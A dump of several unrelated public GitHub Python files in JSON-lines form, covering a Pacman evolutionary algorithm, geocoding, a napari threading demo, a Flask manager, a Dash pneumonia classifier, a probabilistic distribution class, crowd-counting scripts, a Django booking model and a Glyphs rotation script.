config_dict[\"ghost_parent_selection\"] == \"fps\":\n ghost_parent = fps(ghost_population, config_dict[\"n_ghost_parent\"])\n elif config_dict[\"ghost_parent_selection\"] == \"os\":\n ghost_parent = over_selection(ghost_population, config_dict[\"n_ghost_parent\"], config_dict[\"over_selection_x\"])\n\n if (len(pacman_parent) != config_dict[\"n_pacman_parent\"]):\n print(\"Pacman_parent population =\", len(pacman_parent))\n sys.exit()\n ########offspring generation##############\n pacman_offspring = generate_offspring(pacman_parent, config_dict[\"pacman_offspring_population\"])\n ghost_offspring = generate_offspring(ghost_parent, config_dict[\"ghost_offspring_population\"])\n ########evaluate offspring################\n n_eval, avg_pacman_fitnes, best_pacman_fitness, saved_game = evaluate(config_dict, play_station, pacman_offspring, ghost_offspring)\n ####logging log <- eval avg best\n if saved_game:\n if(best_saved_game == None or saved_game.pacman_score > best_saved_game.pacman_score):\n best_saved_game = saved_game\n game_score_watch_value = best_saved_game.pacman_score\n eval_counter += n_eval\n log_file.write(str(eval_counter)+\"\\t\"+str(avg_pacman_fitnes)+\"\\t\"+str(best_pacman_fitness) + \"\\n\")\n print(\"Eval\", eval_counter)\n ########## merge offspring into current population##########\n pacman_population = pacman_population + pacman_offspring\n ghost_population = ghost_population + ghost_offspring\n ########## Pacman survival selection ################\n if config_dict[\"pacman_survival_selection\"] == \"trunc\":\n pacman_population = trunc(pacman_population, config_dict[\"pacman_stable_population\"])\n elif config_dict[\"pacman_survival_selection\"] == \"k_tour_no_rp\":\n #k tournament without replacement\n pacman_population = k_tour(pacman_population, config_dict[\"pacman_stable_population\"], config_dict[\"pacman_survival_k\"], False)\n else:\n print(\"ERROR: Wrong Pacman Selection Method!\")\n sys.exit()\n ########## ghost survival selection ################\n if config_dict[\"ghost_survival_selection\"] == \"trunc\":\n ghost_population = trunc(ghost_population, config_dict[\"ghost_stable_population\"])\n elif config_dict[\"ghost_survival_selection\"] == \"k_tour_no_rp\":\n #k tournament without replacement\n ghost_population = k_tour(ghost_population, config_dict[\"ghost_stable_population\"], config_dict[\"ghost_survival_k\"], False)\n else:\n print(\"ERROR: Wrong ghost Selection Method!\")\n sys.exit()\n ########termination check#################\n if(eval_counter >= config_dict[\"n_eval\"]):\n break\n ########## No Change Termination(optional) ###########################\n if convergence_n_eval:\n if best_pacman_fitness > last_best_fitness:\n last_best_fitness = best_pacman_fitness\n no_change_counter = 0\n else:\n no_change_counter += n_eval\n if(no_change_counter >= convergence_n_eval):\n print(\"NO CHANGE IN FITNESS, TERMINATING!\")\n break\n #at the end of each run, print the replay log\n saved_game.print_replay_log(result_folder_name+\"/run_\"+str(i)+\"_replay\")\n pacman_func_src = saved_game.pacman_controller_list[0].func_str\n ghost_func_src = saved_game.ghost_controller_list[0].func_str\n func_file = open(result_folder_name+\"/run_\"+str(i)+\"_func\",'w')\n func_file.write(\"\\nBest Pacman Function in last generation:\\n\" + str(pacman_func_src))\n func_file.write(\"\\n\\nCorresponding Ghost Function in last generation::\\n\" + str(ghost_func_src))\n\n\n#plot_best_run(best_run_scores,config_dict)\n#write_log(all_runs_scores, config_dict)\n\n#best_saved_game.print_replay_log()\n","repo_name":"5fff/EA-Pacman","sub_path":"sources/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":7138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"39522750042","text":"import geocoder\n\ndef translate_one(address):\n g = geocoder.google(address)\n coords = {\"Latitude\": g.lat,\"Longitude\": g.lng, \"Address\": g.address}\n return coords\n\ndef translate(dataset):\n print(\"Translating addresses to coordinates...\")\n for datum in dataset:\n # datum['Coordinates'] = translate_one(datum['BusinessAddress1'])\n datum['Coordinates'] = translate_one(\"{0} {1}\".format(datum['BusinessAddress1'], datum['BusinessAddress3']))\n return dataset\n\nif __name__ == \"__main__\":\n # k = translate_one('10631 Bent Tree Drive, Fredericksburg, VA, 22407')\n k = translate_one(\"1207 46th Street SE washington dc 20019\")\n print(k)","repo_name":"samiam151/dbe-mapping","sub_path":"python/geo.py","file_name":"geo.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"16652270672","text":"import napari\nimport time\nfrom napari._qt.qthreading import thread_worker\nimport numpy as np\n\n# create a viewer window\nviewer = napari.Viewer()\n\n# https://napari.org/guides/stable/threading.html\n@thread_worker\ndef loop_run():\n while True: # endless loop\n print(\"Hello world\", time.time())\n viewer.add_image(np.random.random((2, 2)))\n time.sleep(0.5)\n yield\n\n# Start the loop\nworker = loop_run()\nworker.start()\n\n# Start napari\nnapari.run()\n","repo_name":"BiAPoL/on_the_fly_image_processing_napari","sub_path":"04_threading_error.py","file_name":"04_threading_error.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"25"} +{"seq_id":"31405513740","text":"import importlib\n\nfrom flask import current_app\nfrom flask.ext.failsafe import failsafe\nfrom flask.ext.script import Manager, Server\n\n\n@failsafe\ndef create_app():\n from kuulemma import Application\n return Application()\n\n\nmanager = Manager(create_app)\nmanager.add_command('runserver', Server(host='localhost'))\n\n\n@manager.shell\ndef make_shell_context():\n from kuulemma.extensions import db\n\n context = {}\n context['app'] = current_app\n context['db'] = db\n context.update(db.Model._decl_class_registry)\n\n return context\n\n\n@manager.command\ndef run(script):\n \"\"\"Runs script from scripts folder in the application context.\n\n Example: python manage.py run hearing.add_hameentie\"\"\"\n module, function = script.rsplit('.', 1)\n if not module.startswith('scripts.'):\n module = 'scripts.%s' % module\n module = importlib.import_module(module)\n function = getattr(module, function)\n function()\n\n\n@manager.command\ndef add_hearing(name):\n \"\"\"Prevents having to add a separate function for each hearing.\n\n Example: python manage.py add_hearing hameentie\n \"\"\"\n script_module = importlib.import_module('scripts.hearing')\n hearing_module = importlib.import_module('scripts.hearing.' + name)\n getattr(script_module, '_add_hearing')(hearing_module.hearing)\n\n\n@manager.command\ndef add_sample_data():\n \"\"\"\n Generates 5 hearings with randomized starting and closing dates.\n Adds random number of comments to each hearing.\n \"\"\"\n from kuulemma.extensions import db\n from kuulemma.sample_data import get_sample_hearing\n\n print('Start running script.')\n for _ in range(5):\n db.session.add(get_sample_hearing())\n print('Hearing added.')\n db.session.commit()\n print('Script completed succesfully.')\n\n\n@manager.command\ndef add_user():\n from kuulemma.extensions import db\n from kuulemma.models import User\n\n user = User(\n email='john@fastmonkeys.com',\n username='john',\n password='john1234',\n is_admin=True,\n is_official=True,\n active=True,\n )\n db.session.add(user)\n db.session.commit()\n\n\nif __name__ == '__main__':\n manager.run()\n","repo_name":"City-of-Helsinki/kuulemma","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"25"} +{"seq_id":"71158936065","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash.dependencies as dd\nimport plotly.express as px\n\nfrom keras.preprocessing.image import ImageDataGenerator, img_to_array, array_to_img, load_img\n\nfrom PIL import Image as pilImage\nimport io\n\nfrom base64 import decodebytes\n\nimport datetime\n\nimport pandas as pd\n\nimport numpy as np\n\nimport os\n\nfrom flask import Flask\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css', './assests/app.css']\n\nserver = Flask('mod4-dash')\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets, server=server)\n\n#load in the classification model from the source files\nmodelPath = './final-model' #os.Path('final-model')\nmodel = keras.models.load_model(modelPath)\n\napp.layout = html.Div(\n children=[\n html.Div(\n children = [\n html.H1(\n children = [\n '''\n Classify an Image\n '''],\n style={\n 'width': '60%',\n 'lineHeight': 'auto',\n 'textAlign': 'center',\n 'margin': '2.5% auto',\n 'fontSize' : '3em',\n },\n ),\n html.P(\n children = [\n '''\n This is some template text. Go ahead and give whatever instructions you would like!\n '''],\n style={\n 'width': '60%',\n 'lineHeight': 'auto',\n 'textAlign': 'center',\n 'margin': 'auto auto 2.5% auto',\n 'fontSize' : '1.2em',\n },\n ),\n\n # This is the upload widget that productionized the model and auto predicts the class of the image uploaded. \n dcc.Upload(\n id='upload-image',\n children=[\n html.Div([\n 'Drag and Drop or ',\n html.A('Select Files')\n ]),\n html.Br()\n ],\n style={\n 'width': '20%',\n 'height': '60px',\n 'lineHeight': '60px',\n 'borderWidth': '1px',\n 'borderStyle': 'dashed',\n 'borderRadius': '5px',\n 'textAlign': 'center',\n 'margin': 'auto',\n 'font-size': '20px' \n },\n # Allow multiple files to be uploaded\n multiple=True\n ),\n ]\n ),\n html.Div(id = 'prediction-output'),\n html.Div(id='output-image-upload'),\n dcc.Store(\n id = 'user-session',\n )\n ],\n className='app')\n\ndef parse_contents(content, filename):\n try:\n imageBytes = decodebytes(content.split(',')[1].encode('utf-8'))\n image = pilImage.open(io.BytesIO(imageBytes))\n image = image.convert('RGB')\n image = imageToDisplay = image.resize((256, 256), pilImage.NEAREST)\n image = img_to_array(image).reshape((1,256,256,3))\n\n print('fail 2')\n\n generator = ImageDataGenerator(\n rescale = 1./255)\n\n print('fail 5')\n pred = model.predict(image)\n label = np.where(model.predict(image) > .5, 'Pneumonia','Normal')\n print(pred)\n\n print('fail 6')\n except:\n print('The file image uploaded is not supported')\n preds = 'The file type you have uploaded is not supported for this model. Plese use: jpeg, png'\n\n return html.Div(\n children = [\n html.H4('File Name: '+filename),\n html.H5('The prediction for this image is: '+ str(label).replace('[', '').replace(']', '').replace(\"'\", '')),\n html.H6('The calculated probability of having Pneunonia was: '+ str(pred).replace('[', '').replace(']', '').replace(\"'\", '')),\n html.Hr(),\n html.Br(),\n\n # HTML images accept base64 encoded strings in the same format\n # that is supplied by the upload\n html.Img(src=imageToDisplay, id = filename),\n html.Hr(),],\n style={\n 'width': '60%',\n 'textAlign': 'center',\n 'margin': 'auto'\n })\n\n# callback to save the users image into the session as JSON\n@app.callback(dd.Output('user-session', 'data'),\n dd.Output('output-image-upload', 'children'),\n dd.Input('upload-image', 'contents'),\n dd.State('upload-image', 'filename'))\ndef update_user_session(list_of_contents, list_of_names):\n # create an empty list to contin our dictonaries\n children = []\n\n # loop through the uploaded images and save the image to the users session in a dcc.Store\n children = []\n data = []\n if list_of_contents is not None:\n for content,name in zip(list_of_contents, list_of_names):\n\n # save each of the uploaded images and their file names into a dictonary (JSON)\n data.append({'content':content, 'name':name})\n children.append(parse_contents(content, name))\n\n return data, children\n else:\n return data, children\n\nif __name__ == '__main__':\n app.run_server(debug=True)","repo_name":"minthammock/testDashApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"9911875741","text":"from torch.distributions import NegativeBinomial as NegativeBinomial_Torch\nfrom .distribution_utils import DistributionClass\nfrom ..utils import *\n\n\nclass NegativeBinomial(DistributionClass):\n \"\"\"\n NegativeBinomial distribution class.\n\n Distributional Parameters\n -------------------------\n total_count: torch.Tensor\n Non-negative number of negative Bernoulli trials to stop.\n probs: torch.Tensor\n Event probabilities of success in the half open interval [0, 1).\n logits: torch.Tensor\n Event log-odds for probabilities of success.\n\n Source\n -------------------------\n https://pytorch.org/docs/stable/distributions.html#negativebinomial\n\n Parameters\n -------------------------\n stabilization: str\n Stabilization method for the Gradient and Hessian. Options are \"None\", \"MAD\", \"L2\".\n response_fn_total_count: str\n Response function for transforming the distributional parameters to the correct support. Options are\n \"exp\" (exponential), \"softplus\" (softplus) or \"relu\" (rectified linear unit).\n response_fn_probs: str\n Response function for transforming the distributional parameters to the correct support. Options are\n \"sigmoid\" (sigmoid).\n loss_fn: str\n Loss function. Options are \"nll\" (negative log-likelihood).\n \"\"\"\n def __init__(self,\n stabilization: str = \"None\",\n response_fn_total_count: str = \"relu\",\n response_fn_probs: str = \"sigmoid\",\n loss_fn: str = \"nll\"\n ):\n\n # Input Checks\n if stabilization not in [\"None\", \"MAD\", \"L2\"]:\n raise ValueError(\"Invalid stabilization method. Please choose from 'None', 'MAD' or 'L2'.\")\n if loss_fn not in [\"nll\"]:\n raise ValueError(\"Invalid loss function. Please select 'nll'.\")\n\n # Specify Response Functions for total_count\n response_functions_total_count = {\"exp\": exp_fn, \"softplus\": softplus_fn, \"relu\": relu_fn}\n if response_fn_total_count in response_functions_total_count:\n response_fn_total_count = response_functions_total_count[response_fn_total_count]\n else:\n raise ValueError(\n \"Invalid response function for total_count. Please choose from 'exp', 'softplus' or 'relu'.\")\n\n # Specify Response Functions for probs\n response_functions_probs = {\"sigmoid\": sigmoid_fn}\n if response_fn_probs in response_functions_probs:\n response_fn_probs = response_functions_probs[response_fn_probs]\n else:\n raise ValueError(\n \"Invalid response function for probs. Please select 'sigmoid'.\")\n\n # Set the parameters specific to the distribution\n distribution = NegativeBinomial_Torch\n param_dict = {\"total_count\": response_fn_total_count, \"probs\": response_fn_probs}\n torch.distributions.Distribution.set_default_validate_args(False)\n\n # Specify Distribution Class\n super().__init__(distribution=distribution,\n univariate=True,\n discrete=True,\n n_dist_param=len(param_dict),\n stabilization=stabilization,\n param_dict=param_dict,\n distribution_arg_names=list(param_dict.keys()),\n loss_fn=loss_fn\n )\n","repo_name":"StatMixedML/XGBoostLSS","sub_path":"xgboostlss/distributions/NegativeBinomial.py","file_name":"NegativeBinomial.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":427,"dataset":"github-code","pt":"25"} +{"seq_id":"14815888212","text":"#from torch.utils.data import Dataset, DataLoader\n#import cv2\n#from torchvision import models, transforms\nimport pdb\nimport json\nimport os\n#import torch\nimport sys\nimport argparse\nimport numpy as np \n# import networkx as nx\nfrom xlwt import * \nimport math\nimport pdb\n\n# 肺结核 肺实变 允许同时出现\n# classes = ['_background_','肺实变', '纤维化表现', '胸腔积液', '胸膜增厚', '主动脉结增宽', '膈面异常', '结节',\n# '肿块', '异物', '气胸', '肺气肿', '骨折', '钙化', '乳头影', '弥漫性结节', '肺不张',\n# '多发结节', '心影增大', '脊柱侧弯', '纵隔变宽', '肺门增浓', '膈下游离气体', '肋骨异常',\n# '肺结核', '皮下气肿', '主动脉钙化', '空洞', '液气胸', '肋骨缺失', '肩关节异常']\n#\n# graph_classes = ['多发结节','弥漫性结节','空洞','纤维化表现','结节','肺不张','肺实变','肺结核','肿块','胸腔积液']\n\n# cvpr code\n# classes = ['_background_', '肺实变', '纤维化表现', '胸腔积液', '胸膜增厚', '结节',\n# '肿块', '气胸', '肺气肿', '钙化', '弥漫性结节', '肺不张',\n# '心影增大', '骨折'] # 13\n#\n# graph_classes = ['弥漫性结节', '纤维化表现', '结节', '肺不张', '肺实变', '肿块', '胸腔积液']\n\n# 竞赛\nclasses = ['_background_', '肺实变', '纤维化表现', '胸腔积液', '结节',\n '肿块', '气胸', '肺气肿', '钙化', '肺不张', '骨折']\n\ngraph_classes = ['纤维化表现', '结节', '肺不张', '肺实变', '肿块', '胸腔积液']\n\ndef gen_graph():\n # json_file = '/data1/DX/train_anno_DX.json'\n # json_file = '/data1/DX/total_annos.json'\n # json_file = '/data1/liujingyu/DR/total_annos.json'\n test_json_file = '/home/lianjie/cvpr_code/part_seg/yy_jsons/test_gk_yy.json'\n train_json_file = '/home/lianjie/cvpr_code/part_seg/yy_jsons/train_gk_yy.json'\n\n assert os.path.exists(test_json_file), 'Json path does not exist: {}'.format(test_json_file)\n test_anno = json.load(open(test_json_file))\n train_anno = json.load(open(train_json_file))\n train_anno.extend(test_anno)\n \n class_num = len(classes)\n graph = np.zeros((class_num,class_num),dtype=np.int64)\n\n book = Workbook(encoding='utf-8')\n sheet = book.add_sheet('graph')\n sheet_norm = book.add_sheet('graph_norm')\n for i in range(1,len(classes)+1):\n sheet.write(0,i,label = classes[i-1])\n sheet.write(i,0,label = classes[i-1])\n sheet_norm.write(0,i,label = classes[i-1])\n sheet_norm.write(i,0,label = classes[i-1])\n\n\n for entry in train_anno:\n result = []\n syms = entry['syms']\n for _, sym in enumerate(syms):\n if '膈面异常' in sym and entry['doc_name'] == 'fj6311':\n continue\n\n if '主动脉异常' in sym and '钙化' in sym:\n sym = ['主动脉钙化', '主动脉异常']\n if '结节' in sym and '乳头影' in sym: # 费主任标了好多这种,结节和乳头影都在,我们认为是乳头影\n sym = ['乳头影']\n\n if '结节' in sym and '弥漫性结节' in sym:\n sym.remove('结节')\n if '结节' in sym and '多发结节' in sym:\n sym.remove('结节')\n if '结核结节' in sym and '弥漫性结节' in sym:\n sym.remove('结核结节')\n if '结核结节' in sym and '多发结节' in sym:\n sym.remove('结核结节')\n if '结核球' in sym and '弥漫性结节' in sym:\n sym.remove('结核球')\n if '结核球' in sym and '多发结节' in sym:\n sym.remove('结核球')\n\n for s in sym: # for each sub-sym\n if s == '膈面膨隆' or s == '膈面抬高': # awkward ...\n s = '膈面异常'\n \n if s == '肺门影浓' or s == '肺门影大':\n s = '肺门增浓'\n\n if s == '主动脉异常':\n s = '主动脉结增宽'\n\n # 以下是肺结核的征象\n if s == '三均匀粟粒样结节' or s == '非三均匀粟粒样结节':\n s = '弥漫性结节'\n\n if s == '结核球' or s == '结核结节':\n s = '结节'\n\n if s == '索条影':\n s = '纤维化表现'\n\n # cvpr code\n if s == '骨折' or s == '肋骨缺失':\n s = '骨折'\n if s == '弥漫性结节' or s == '多发结节':\n s = '弥漫性结节'\n\n result.append(s)\n\n # pdb.set_trace()\n # solution = flatten()\n # syms = entry['syms']\n # result = solution.get_list(syms)\n result = list(set(result)) #去除重复元素\n c_index = []\n for i in range(len(result)):\n if result[i] not in classes: continue\n c_index.append(classes.index(result[i]))\n c_index.sort()\n \n if len(c_index) == 0:\n continue\n elif len(c_index) == 1: #主对角元素统计\n raw = c_index[0]\n column = c_index[0]\n graph[raw][column] += 1\n \n else:\n for i in range(len(c_index)): #主对角元素统计\n raw = c_index[i]\n column = c_index[i]\n graph[raw][column] += 1\n \n for j in range(len(c_index)-1): #对角线上方元素统计 最后做转置相加\n k = j+1\n while k<(len(c_index)):\n raw = c_index[j]\n column = c_index[k]\n # 加上判断语句 只对特定几类 建立图关系\n if classes[raw] in graph_classes and classes[column] in graph_classes:\n graph[raw][column] += 1\n k += 1\n\n graph = graph + graph.transpose()\n for i in range(len(graph)):\n graph[i][i] = graph[i][i]//2\n # frequent \n for i in range(len(graph)):\n for j in range(len(graph[0])):\n sheet.write(i+1,j+1,label = int(graph[i][j]))\n\n graph[0][0] = 1000 # background random value (norm -> 1.0)\n\n # normalize graph\n graph_norm = np.zeros((len(classes),len(classes)),dtype=np.float64)\n for i in range(len(graph)): #ingore background\n for j in range(len(graph[0])):\n if graph[i][i] == 0 or graph[j][j] ==0: # 不存在的类\n graph_norm[i][j] = 0.0\n pdb.set_trace()\n else:\n graph_norm[i][j] = graph[i][j]/math.sqrt(graph[i][i]*graph[j][j])\n\n sheet_norm.write(i+1,j+1,label = float(round(graph_norm[i][j],2)))\n\n # book.save('graph_all_yy.xls')\n np.save('graph_gk_yy10.npy',graph_norm)\n\nclass flatten(object):\n def __init__(self):\n self.flatten_list = []\n\n def get_list(self,syms):\n for item in syms:\n if isinstance(item,list):\n self.get_list(item)\n else:\n self.flatten_list.append(item)\n\n return self.flatten_list\n\nif __name__ == '__main__':\n gen_graph()\n","repo_name":"cenchaojun/mask-rcnn.pytorch-1.0","sub_path":"graph/gen_graph_one.py","file_name":"gen_graph_one.py","file_ext":"py","file_size_in_byte":7273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"37456257164","text":"\"\"\"\nExercício Python 55: Faça um programa que leia o peso de cinco pessoas.\nNo final, mostre qual foi o maior e o menor peso lidos.\n\"\"\"\nprint('='*50)\nprint('{:^50}'.format('TABELA DE PESOS'))\nprint('='*50)\nprint()\n\nfor c in range(0, 5):\n peso = float(input('Digite o peso da pessoa, em kg: '))\n if c == 0:\n maior = peso\n menor = peso\n else:\n if peso > maior:\n maior = peso\n elif peso < menor:\n menor = peso\nprint()\nprint('Dentre os pesos digitados, o maior peso é {:.1f}kg e o menor peso é {:.1f}kg'.format(maior, menor))\n","repo_name":"brunomneto/curso_em_video_python","sub_path":"ex055.py","file_name":"ex055.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"33138737231","text":"from django.db import models\nfrom django.conf import settings\n\n# Create your models here.\n\nTEMPOH_BOOKING = (\n (\"5\", \"5M\"),\n (\"10\", \"10M\"),\n (\"15\", \"15M\"),\n (\"20\", \"20M\"),\n (\"25\", \"25M\"),\n (\"30\", \"30M\"),\n (\"35\", \"35M\"),\n (\"40\", \"40M\"),\n (\"45\", \"45M\"),\n (\"60\", \"1H\"),\n (\"75\", \"1H 15M\"),\n (\"90\", \"1H 30M\"),\n (\"105\", \"1H 45M\"),\n (\"120\", \"2H\"),\n (\"150\", \"2H 30M\"),\n (\"180\", \"3H\"),\n)\n\n\nclass Tempahan(models.Model):\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL, on_delete=models.CASCADE, blank=True, null=True\n )\n\n tarikh = models.DateField()\n masa = models.TimeField()\n nama_pengguna = models.CharField(max_length=250)\n email_pengguna = models.EmailField()\n approved = models.BooleanField(default=False)\n telefon_pengguna = models.CharField(blank=True, null=True, max_length=10)\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n updated_ad = models.DateTimeField(auto_now=True)\n\n def __str__(self) -> str:\n return self.user_name or \"Tiada Nama\"\n\n\nclass SettingTempahan(models.Model):\n # General\n tempahan_enable = models.BooleanField(default=True)\n pengesaan_diperlukan = models.BooleanField(\n default=True,\n )\n # Tarikh\n matikan_hujung_minggu = models.BooleanField(default=True)\n tempahan_available_sebulan = models.IntegerField(default=True)\n max_tempahan_per_hari = models.IntegerField(null=True, blank=True)\n\n # Masa\n masa_mula = models.TimeField()\n masa_tamat = models.TimeField()\n period_setiap_tempahan = models.CharField(\n max_length=200,\n default=30,\n choices=TEMPOH_BOOKING,\n help_text=\"Berapa lama setiap tempahan diambil\",\n )\n max_tempahan_per_masa = models.IntegerField(\n default=1,\n help_text=\"Berapa banyak temujanji boleh tempah dalam setiap satu satu masa\",\n )\n","repo_name":"maxsim86/temujanji","sub_path":"temujanji/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"71980492227","text":"import numpy as np\nimport time\n\nfrom src.utils import calculate_game\nfrom src.crowd_count import CrowdCount\nfrom src.data_multithread_preload import multithread_dataloader\nfrom src import network\n\n\n##################看懂这个测试用例\n##################dict是数据基本信息\n##################\n\n\ntest_flag = dict()\ntest_flag['preload'] = False\ntest_flag['label'] = False\ntest_flag['mask'] = False\n\ntest_model_path = r'./final_model/shtechA.h5'\n# original_dataset_name = 'shtechA'\ntest_data_config = dict()\ntest_data_config['shtA1_test'] = test_flag.copy()\n\n# load data\nall_data = multithread_dataloader(test_data_config)\nnet = CrowdCount()\n\nnetwork.load_net(test_model_path, net)\n\nnet.cuda()\nnet.eval()\n\ntotal_forward_time = 0.0\n\n# calculate error on the test dataset\nfor data_name in test_data_config:\n data = all_data[data_name]['data']\n\n mae = 0.0\n mse = 0.0\n game_0 = 0.0\n game_1 = 0.0\n game_2 = 0.0\n game_3 = 0.0\n index = 0\n for blob in data:\n image_data = blob['image']\n ground_truth_data = blob['density']\n roi = blob['roi']\n image_name = blob['image_name'][0]\n\n start_time = time.perf_counter()\n estimate_map, _, visual_dict = net(image_data, roi=roi)\n total_forward_time += time.perf_counter() - start_time\n\n ground_truth_map = ground_truth_data.data.cpu().numpy()\n estimate_map = estimate_map.data.cpu().numpy()\n\n ground_truth_count = np.sum(ground_truth_map)\n estimate_count = np.sum(estimate_map)\n\n mae += np.abs(ground_truth_count - estimate_count)\n mse += (ground_truth_count - estimate_count) ** 2\n game_0 += calculate_game(ground_truth_map, estimate_map, 0)\n game_1 += calculate_game(ground_truth_map, estimate_map, 1)\n game_2 += calculate_game(ground_truth_map, estimate_map, 2)\n game_3 += calculate_game(ground_truth_map, estimate_map, 3)\n index += 1\n\n mae = mae / index\n mse = np.sqrt(mse / index)\n game_0 = game_0 / index\n game_1 = game_1 / index\n game_2 = game_2 / index\n game_3 = game_3 / index\n print('mae: %.2f mse: %.2f game: %.2f %.2f %.2f %.2f' % (mae, mse, game_0, game_1, game_2, game_3))\n\nprint('total forward time is %f seconds of %d samples.' % (total_forward_time, index))\n\n","repo_name":"BorHon/AS-Net--pytorch","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"32274830345","text":"#MenuTitle: Rotate Around Anchor\n# -*- coding: utf-8 -*-\nfrom __future__ import division, print_function, unicode_literals\n__doc__ = \"\"\"\nRotate selected glyphs (or selected paths and components) around a 'rotate' anchor.\n\"\"\"\n\nimport vanilla, math\nfrom Foundation import NSPoint, NSAffineTransform, NSAffineTransformStruct, NSMakePoint, NSRect\nrotateAnchorName = \"rotate\"\n\ndef centerOfRect(rect):\n\t\"\"\"\n\tReturns the center of NSRect rect as an NSPoint.\n\t\"\"\"\n\tcenter = NSPoint(rect.origin.x + rect.size.width / 2, rect.origin.y + rect.size.height / 2)\n\treturn center\n\nclass Rotator(object):\n\t\"\"\"GUI for rotating selected glyphs.\"\"\"\n\n\tdef __init__(self):\n\t\tself.w = vanilla.FloatingWindow((320, 95), \"Rotate around anchor\")\n\n\t\t# Window 'self.w':\n\t\twindowWidth = 320\n\t\twindowHeight = 100\n\t\twindowWidthResize = 0 # user can resize width by this value\n\t\twindowHeightResize = 0 # user can resize height by this value\n\t\tself.w = vanilla.FloatingWindow(\n\t\t\t(windowWidth, windowHeight), # default window size\n\t\t\t\"\", # window title\n\t\t\tminSize=(windowWidth, windowHeight), # minimum size (for resizing)\n\t\t\tmaxSize=(windowWidth + windowWidthResize, windowHeight + windowHeightResize), # maximum size (for resizing)\n\t\t\tautosaveName=\"com.mekkablue.RotateAroundAnchor.mainwindow\" # stores last window position and size\n\t\t\t)\n\n\t\tlinePos, inset, lineHeight = 10, 12, 22\n\n\t\tself.w.anchor_text = vanilla.TextBox((inset, linePos + 3, 120, 15), \"Set 'rotate' anchor:\", sizeStyle='small')\n\t\tself.w.anchor_x = vanilla.EditText((inset + 110, linePos, 40, 19), \"0\", sizeStyle='small', callback=self.SavePreferences)\n\t\tself.w.anchor_y = vanilla.EditText((inset + 110 + 45, linePos, 40, 19), \"0\", sizeStyle='small', callback=self.SavePreferences)\n\t\tself.w.updateButton = vanilla.SquareButton((inset + 110 + 90, linePos, 20, 19), u\"↺\", sizeStyle='small', callback=self.updateRotateAnchor)\n\t\tself.w.anchor_button = vanilla.Button((inset + 110 + 120, linePos + 1, -inset, 19), \"Insert\", sizeStyle='small', callback=self.insertRotateAnchor)\n\t\tlinePos += lineHeight\n\n\t\tself.w.rotate_text1 = vanilla.TextBox((inset, linePos + 3, 55, 19), \"Rotate by\", sizeStyle='small')\n\t\tself.w.rotate_degrees = vanilla.EditText((inset + 60, linePos, 35, 19), \"10\", sizeStyle='small', callback=self.SavePreferences)\n\t\tself.w.rotate_text2 = vanilla.TextBox((inset + 60 + 40, linePos + 3, 50, 19), \"degrees:\", sizeStyle='small')\n\t\tself.w.rotate_ccw = vanilla.Button((-150, linePos + 1, -70 - inset, 19), u\"↺ ccw\", sizeStyle='small', callback=self.rotate)\n\t\tself.w.rotate_cw = vanilla.Button((-80, linePos + 1, -inset, 19), u\"↻ cw\", sizeStyle='small', callback=self.rotate)\n\t\tlinePos += lineHeight\n\n\t\tself.w.stepAndRepeat_text1 = vanilla.TextBox((inset, linePos + 3, 55, 19), \"Repeat\", sizeStyle='small')\n\t\tself.w.stepAndRepeat_times = vanilla.EditText((inset + 60, linePos, 35, 19), \"5\", sizeStyle='small', callback=self.SavePreferences)\n\t\tself.w.stepAndRepeat_text2 = vanilla.TextBox((inset + 60 + 40, linePos + 3, 50, 19), \"times:\", sizeStyle='small')\n\t\tself.w.stepAndRepeat_ccw = vanilla.Button((-150, linePos + 1, -70 - inset, 19), u\"↺+ ccw\", sizeStyle='small', callback=self.rotate)\n\t\tself.w.stepAndRepeat_cw = vanilla.Button((-80, linePos + 1, -inset, 19), u\"↻+ cw\", sizeStyle='small', callback=self.rotate)\n\n\t\tif not self.LoadPreferences():\n\t\t\tprint(\"Rotate Around Anchor: Could not load prefs, will resort to defaults.\")\n\n\t\tself.updateRotateAnchor()\n\t\tself.w.open()\n\t\tself.w.makeKey()\n\n\tdef SavePreferences(self, sender=None):\n\t\ttry:\n\t\t\tGlyphs.defaults[\"com.mekkablue.rotateAroundAnchor.rotate_degrees\"] = self.w.rotate_degrees.get()\n\t\t\tGlyphs.defaults[\"com.mekkablue.rotateAroundAnchor.stepAndRepeat_times\"] = self.w.stepAndRepeat_times.get()\n\t\t\tGlyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_x\"] = self.w.anchor_x.get()\n\t\t\tGlyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_y\"] = self.w.anchor_y.get()\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n\n\tdef 